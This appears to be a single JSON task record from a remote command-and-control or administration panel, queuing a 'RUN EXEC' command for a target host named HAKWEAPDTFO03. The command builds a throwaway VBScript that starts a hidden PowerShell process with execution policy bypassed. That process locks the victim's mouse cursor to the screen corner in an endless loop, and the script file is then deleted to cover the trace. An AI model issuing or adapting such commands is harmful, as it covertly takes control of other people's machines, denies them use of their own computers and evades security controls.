{"id":"336d7a71-645c-dd70-4344-2a0b562e5dd9","cmdid":"20260428-212624","targets":["HAKWEAPDTFO03"],"created_at":"2026-04-28T21:24:43+08:00","commands":["RUN EXEC echo Set WshShell = CreateObject(\"WScript.Shell\") > hide.vbs && echo WshShell.Run \"powershell -ExecutionPolicy Bypass -Command \"\"Add-Type -AssemblyName System.Windows.Forms; while($true) { [System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point(0,0); Start-Sleep -m 50 }\"\"\", 0, False >> hide.vbs && wscript hide.vbs && del hide.vbs"],"token":"","hmac":"","meta":{"ip":"120.235.228.54","ua":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36"},"raw":"CMDID: 20260428-212624\nTARGET: HAKWEAPDTFO03\n\nRUN EXEC echo Set WshShell = CreateObject(\"WScript.Shell\") > hide.vbs && echo WshShell.Run \"powershell -ExecutionPolicy Bypass -Command \"\"Add-Type -AssemblyName System.Windows.Forms; while($true) { [System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point(0,0); Start-Sleep -m 50 }\"\"\", 0, False >> hide.vbs && wscript hide.vbs && del hide.vbs\n"}